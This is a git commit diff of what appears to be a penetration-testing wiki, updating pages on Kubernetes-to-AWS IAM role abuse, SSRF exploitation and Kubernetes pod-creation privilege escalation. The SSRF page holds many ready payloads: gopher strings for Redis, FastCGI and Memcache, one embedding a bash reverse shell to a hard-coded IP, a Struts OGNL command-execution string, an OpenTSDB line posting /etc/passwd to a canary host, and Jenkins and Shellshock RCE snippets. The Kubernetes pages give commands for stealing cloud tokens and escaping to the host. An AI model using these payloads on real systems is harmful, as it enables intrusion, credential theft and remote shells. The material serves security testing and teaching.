GitBook: [#2955] No subject

This commit is contained in:
CPol 2022-01-18 18:16:48 +00:00 committed by gitbook-bot
parent 9066e81d0d
commit 6e8c7a1083
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
3 changed files with 205 additions and 67 deletions

View file

@ -70,19 +70,84 @@ done | grep -B 1 "gcp-service-account"
## AWS
### &#x20;Workflow of IAM role for Service Accounts: <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
![](https://blogs.halodoc.io/content/images/2021/03/Group\_s3.png)
An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basically you will need to run a **daemonset** in your cluster with a **kind of privileged IAM role**. This daemonset will be the one that will give access to IAM roles to the pods that need it.
1. When you launch an application on kubernetes with `kubectl apply -f application-job.yaml`, the yaml manifest is submitted to the API server with the Amazon EKS Pod Identity webhook configured.
2. Kubernetes uses the service account set via serviceAccountName
3. Since the **service account has the annotation passed "eks.amazonaws.com/role-arn"** in `serviceaccount.yaml` the webhook injects the necessary environment variables (**AWS\_ROLE\_ARN** and **AWS\_WEB\_IDENTITY\_TOKEN**) and sets up aws-iam-token projected volumes.
4. When application calls out to s3 to do any s3 operations the AWS SDK we use in the application code base performs STS **assume role** with web identity performs assume role that has s3 permissions attached. It receives temporary credentials that it uses to complete the S3 operation.
First of all you need to configure **which roles can be accessed inside the namespace**, and you do that with an annotation inside the namespace object:
{% code title="Kiam" %}
```yaml
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
```
{% endcode %}
{% code title="Kube2iam" %}
```yaml
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
{% endcode %}
Once the namespace is configured with the IAM roles the Pods can have you can **indicate the role you want on each pod definition with something like**:
{% code title="Kiam & Kube2iam" %}
```yaml
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
```
{% endcode %}
{% hint style="warning" %}
As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles).
{% endhint %}
#### Create Pod with IAM Role
{% hint style="info" %}
The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it.
{% endhint %}
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### Workflow of IAM role for Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
This is the recommended way by AWS.
1. First of all you need to [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Then you create an IAM role with the permissions the SA will require.
3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts-technical-overview.html) name (or the namespaces giving access to the role to all the SAs of the namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_.
4. Finally, **create a SA with an annotation indicating the ARN of the role**, and the pods running with that SA will have **access to the token of the role**. The **token** is **written** inside a file and the path is specified in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
(You can find an example of this configuration [here](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/))
Just like with GCP an **annotation** is needed to relate the KSA with the IAM role:
```yaml
apiVersion: v1
kind: ServiceAccount
@ -92,22 +157,32 @@ metadata:
```
{% hint style="warning" %}
As an attacker, if you can enumerate a K8s cluster, check for **pods with that annotation** as you could manage to **escalate to AWS**.
As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
Moreover, if you are inside a pod, check for env variables like **AWS\_ROLE\_ARN** and **AWS\_WEB\_IDENTITY\_TOKEN.**
****
{% endhint %}
This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**:
### Find Pods a SAs with IAM Roles in the Cluster
This is a script to easily **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "iam.amazonaws.com/role"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "iam.amazonaws.com/role"
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Node IAM Role

View file

@ -16,7 +16,7 @@ Server-side request forgery (also known as SSRF) is a web security vulnerability
## Internet Exfiltration Services
You could use **burpcollab** or [**pingb**](http://pingb.in) \*\*\*\* for example.
You could use **burpcollab** or [**pingb**](http://pingb.in) **** for example.&#x20;
## Bypass restrictions
@ -122,7 +122,7 @@ http://127.1.1.1:80#\@127.2.2.2:80/
### Bypass domain regexp
[**Go to the proposed bypasses for Referer header in CSRF**](csrf-cross-site-request-forgery.md#referer)\*\*\*\*
[**Go to the proposed bypasses for Referer header in CSRF**](csrf-cross-site-request-forgery.md#referer)****
### Bypass via redirect
@ -211,9 +211,10 @@ ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
### Gopher://
Using this protocol you can specify the **IP, port and bytes** you want the server to **send**. Then, you can basically exploit a SSRF to **communicate with any TCP server** (but you need to know how to talk to the service first).\
Fortunately, you can use [Gopherus](https://github.com/tarunkant/Gopherus) to create payloads for several services. Additionally, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) can be used to create _gopher_ payloads for _Java RMI_ services.
Fortunately, you can use [Gopherus](https://github.com/tarunkant/Gopherus) to create payloads for several services. Additionally, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
can be used to create *gopher* payloads for *Java RMI* services.
#### Gopher smtp
#### Gopher smtp&#x20;
```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
@ -252,9 +253,9 @@ https://example.com/?q=http://evil.com/redirect.php.
### SMTP
From [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):\
1\. connect with SSRF on smtp localhost:25\
2\. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\
3\. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains\
1\. connect with SSRF on smtp localhost:25 \
2\. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy) ESMTP Sendmail \
3\. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH) on github, find subdomains \
4\. connect
### SSRF with Command Injection
@ -263,7 +264,7 @@ It might be worth trying a payload like: `` url=http://3iufty2q67fuy2dew3yug4f34
### Exploiting PDFs Rendering
If the web page is automatically creating a PDF with some information you have provided, you can **insert some JS that will be executed by the PDF creator** itself (the server) while creating the PDF and you will be able to abuse a SSRF. [**Find more information here.**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)\*\*\*\*
If the web page is automatically creating a PDF with some information you have provided, you can **insert some JS that will be executed by the PDF creator** itself (the server) while creating the PDF and you will be able to abuse a SSRF. [**Find more information here.**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)****
### From SSRF to DoS
@ -296,7 +297,7 @@ For **more information** take a look to the talk where this attack is explained:
#### 169.254.169.254 - Metadata Address
**Metadata** of the basic virtual machines from AWS (called EC2) can be retrieved from the VM accessing the url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Metadata** of the basic virtual machines from AWS (called EC2) can be retrieved from the VM accessing the url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use `Metadata-Flavor: Google` as an HTTP header and refusing requests with an `X-Forwarded-For` header. **AWS has no constraints**.
@ -345,19 +346,15 @@ Notice the **aws\_session\_token**, this is indispensable for the profile to wor
Information taken from: [http://ghostlulz.com/ssrf-aws-credentials/](http://ghostlulz.com/ssrf-aws-credentials/) (read that post for further information).\
Another possible interesting place where you can find credentials is in[ http://169.254.169.254/user-data](http://169.254.169.254/user-data)
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) can be used with the discovered credentials to find out your privileges and try to escalate privileges
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) **** can be used with the discovered credentials to find out your privileges and try to escalate privileges
### SSRF in AWS ECS (Container Service) credentials
**ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**.
If you access _**http://169.254.170.2/v2/credentials/\<GUID>**_ you will find the credentials of the ECS machine. But first you need to **find the \_\<GUID>**\_ . To find the \<GUID> you need to read the **environ** variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** inside the machine.\
If you access _**http://169.254.170.2/v2/credentials/\<GUID>**_ you will find the credentials of the ECS machine. But first you need to **find the **_**\<GUID>**_ . To find the \<GUID> you need to read the **environ** variable _**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**_ inside the machine. \
You could be able to read it exploiting an **Path Traversal** to _file:///proc/self/environ_\
\_\_The mentioned http address should give you the **AccessKey, SecretKey and token**.
```bash
curl "http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
__The mentioned http address should give you the **AccessKey, SecretKey and token**.
### SSRF URL for AWS Elastic Beanstalk <a href="#6f97" id="6f97"></a>
@ -374,7 +371,7 @@ We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20)![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
@ -552,6 +549,8 @@ You can use [https://github.com/teknogeek/ssrf-sheriff](https://github.com/tekno
This section was copied from [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)
<div id="elasticsearch"></div>
## Elasticsearch
**Commonly bound port: 9200**
@ -577,6 +576,8 @@ Note: the `_shutdown` API has been removed from Elasticsearch version 2.x. and u
/_cluster/nodes/_all/_shutdown
```
<div id="weblogic"></div>
## Weblogic
**Commonly bound ports: 80, 443 (SSL), 7001, 8888**
@ -667,12 +668,16 @@ Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
```
<div id="consul"></div>
## Hashicorp Consul
**Commonly bound ports: 8500, 8501 (SSL)**
Writeup can be found [here](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
<div id="shellshock"></div>
## Shellshock
**Commonly bound ports: 80, 443 (SSL), 8080**
@ -689,6 +694,8 @@ Short list of CGI paths to test:
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
```
<div id="druid"></div>
## Apache Druid
**Commonly bound ports: 80, 8080, 8888, 8082**
@ -718,15 +725,15 @@ Shutdown supervisors on Apache Druid Overlords:
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
```
<div id="solr"></div>
## Apache Solr
**Commonly bound port: 8983**
**SSRF Canary: Shards Parameter**
> To add to what shubham is saying - scanning for solr is relatively easy. There is a shards= param which allows you to bounce SSRF to SSRF to verify you are hitting a solr instance blindly.
>
> — Хавиж Наффи 🥕 (@nnwakelam) [January 13, 2021](https://twitter.com/nnwakelam/status/1349298311853821956?ref\_src=twsrc%5Etfw)
<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">To add to what shubham is saying - scanning for solr is relatively easy. There is a shards= param which allows you to bounce SSRF to SSRF to verify you are hitting a solr instance blindly.</p>&mdash; Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">January 13, 2021</a></blockquote>
Taken from [here](https://github.com/veracode-research/solr-injection).
@ -750,6 +757,8 @@ Taken from [here](https://github.com/veracode-research/solr-injection).
[Research on RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
<div id="peoplesoft"></div>
## PeopleSoft
**Commonly bound ports: 80,443 (SSL)**
@ -805,6 +814,8 @@ Content-Type: application/xml
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
```
<div id="struts"></div>
## Apache Struts
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
@ -819,6 +830,8 @@ Append this to the end of every internal endpoint/URL you know of:
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
```
<div id="jboss"></div>
## JBoss
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
@ -831,11 +844,13 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
```
<div id="confluence"></div>
## Confluence
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)**
**SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)**
```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
@ -849,6 +864,9 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
<div id="jira"></div>
## Jira
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
@ -869,17 +887,18 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
```
<div id="atlassian-products"></div>
## Other Atlassian Products
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
* Bamboo < 6.0.0
* Bitbucket < 4.14.4
* Crowd < 2.11.2
* Crucible < 4.3.2
* Fisheye < 4.3.2
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2
[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
@ -887,6 +906,8 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
<div id="opentsdb"></div>
## OpenTSDB
**Commonly bound port: 4242**
@ -907,6 +928,8 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
```
<div id="jenkins"></div>
## Jenkins
**Commonly bound ports: 80,443 (SSL),8080,8888**
@ -935,6 +958,8 @@ pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
```
<div id="hystrix"></div>
## Hystrix Dashboard
**Commonly bound ports: 80,443 (SSL),8080**
@ -947,6 +972,8 @@ Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1
/proxy.stream?origin=http://SSRF_CANARY/
```
<div id="w3"></div>
## W3 Total Cache
**Commonly bound ports: 80,443 (SSL)**
@ -971,7 +998,7 @@ Connection: close
**SSRF Canary**
The advisory for this vulnerability was released here: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3\_total\_cache.html)
The advisory for this vulnerability was released here: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3_total_cache.html)
This PHP code will generate a payload for your SSRF Canary host (replace `url` with your canary host):
@ -1016,9 +1043,9 @@ Replace alpine with an arbitrary image you would like the docker container to ru
**Commonly bound ports: 9121**
This vulnerability affects Gitlab instances before version 13.1.1. According to the [Gitlab documentation](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus and its exporters are on by default, starting with GitLab 9.0.`
This vulnerability affects Gitlab instances before version 13.1.1. According to the [Gitlab documentation](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus and its exporters are on by default, starting with GitLab 9.0. `
These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter.
These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter.
The following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter:
@ -1026,18 +1053,20 @@ The following endpoint will allow an attacker to dump all the keys in the redis
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
```
***
----------
**Possible via Gopher**
<div id="redis"></div>
## Redis
**Commonly bound port: 6379**
Recommended reading:
* [Trying to hack Redis via HTTP requests](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
* [SSRF Exploits against Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
- [Trying to hack Redis via HTTP requests](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [SSRF Exploits against Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
**RCE via Cron** - [Gopher Attack Surfaces](https://blog.chaitin.cn/gopher-attack-surfaces/)
@ -1095,7 +1124,7 @@ if __name__=="__main__":
print payload
```
**RCE via authorized\_keys** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0)
**RCE via authorized_keys** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0)
```python
import urllib
@ -1142,19 +1171,23 @@ While this required authenticated access to GitLab to exploit, I am including th
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
<div id="memcache"></div>
## Memcache
**Commonly bound port: 11211**
* [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)
* [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)
* [Example Gopher payload for Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
- [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)
- [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)
- [Example Gopher payload for Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
```bash
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
```
<div id="tomcat"></div>
## Apache Tomcat
**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**
@ -1167,6 +1200,9 @@ CTF writeup using this technique:
[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
<div id="fastcgi"></div>
## FastCGI
**Commonly bound ports: 80,443 (SSL)**
@ -1177,13 +1213,18 @@ This was taken from [here](https://blog.chaitin.cn/gopher-attack-surfaces/).
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
```
<div id="java-rmi"></div>
## Java RMI
**Commonly bound ports: 1090,1098,1099,1199,4443-4446,8999-9010,9999**
Blind _SSRF_ vulnerabilities that allow arbitrary bytes (_gopher based_) can be used to perform deserialization or codebase attacks on the _Java RMI_ default components (_RMI Registry_, _Distributed Garbage Collector_, _Activation System_). A detailed writeup can be found [here](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). The following listing shows an example for the payload generation:
Blind *SSRF* vulnerabilities that allow arbitrary bytes (*gopher based*) can be used to perform deserialization or
codebase attacks on the *Java RMI* default components (*RMI Registry*, *Distributed Garbage Collector*, *Activation System*).
A detailed writeup can be found [here](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). The following listing
shows an example for the payload generation:
```
```console
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
@ -1192,37 +1233,48 @@ $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.n
[+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
```
***
-------------------
**Tools**
<div id="gopherus"></div>
## Gopherus
* [Gopherus - Github](https://github.com/tarunkant/Gopherus)
* [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
This tool generates Gopher payloads for:
* MySQL
* PostgreSQL
* FastCGI
* Redis
* Zabbix
* Memcache
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
<div id="remote-method-guesser"></div>
## remote-method-guesser
* [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
* [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ is a _Java RMI_ vulnerability scanner that supports attack operations for most common _Java RMI_ vulnerabilities. Most of the available operations support the `--ssrf` option, to generate an _SSRF_ payload for the requested operation. Together with the `--gopher` option, ready to use _gopher_ payloads can be generated directly.
*remote-method-guesser* is a *Java RMI* vulnerability scanner that supports attack operations for most common *Java RMI*
vulnerabilities. Most of the available operations support the ``--ssrf`` option, to generate an *SSRF* payload for the
requested operation. Together with the ``--gopher`` option, ready to use *gopher* payloads can be generated directly.
<div id="ssrfproxy"></div>
## SSRF Proxy
* [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).
## References
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)

View file

@ -40,7 +40,7 @@ rules:
verbs: ["create", "list", "get"]
```
### Pod Creation - Steal Token
### Pod Create - Steal Token
An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a **service account with privileged permissions, by running a pod with that service the permissions can be abused to escalate privileges**.
@ -77,7 +77,7 @@ So just create the malicious pod and expect the secrets in port 6666:
![](<../../../.gitbook/assets/image (464).png>)
### **Pod Creation & Escape - Mount Root**
### **Pod Create & Escape - Mount Root**
Having Pod create permissions over kube-system you can also be able to mount directories from the node hosting the pods with a pod template like the following one:
@ -155,7 +155,7 @@ And capturing the reverse shell you can find the `/` directory (the entire files
chroot /rootfs /bin/bash
```
### Pod Creation & Escape - Get into root pid ns
### Pod Create & Escape - Get into root pid ns
From [this tweet](https://twitter.com/mauilion/status/1129468485480751104) you can find a way to escape from the pod and get inside the root ns
@ -163,6 +163,17 @@ From [this tweet](https://twitter.com/mauilion/status/1129468485480751104) you c
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
### Pod Create - Move to cloud
If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\
Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance.
For more information check:
{% content-ref url="../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md" %}
[kubernetes-access-to-other-clouds.md](../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md)
{% endcontent-ref %}
### Sniffing **with a sidecar proxy app**
By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod.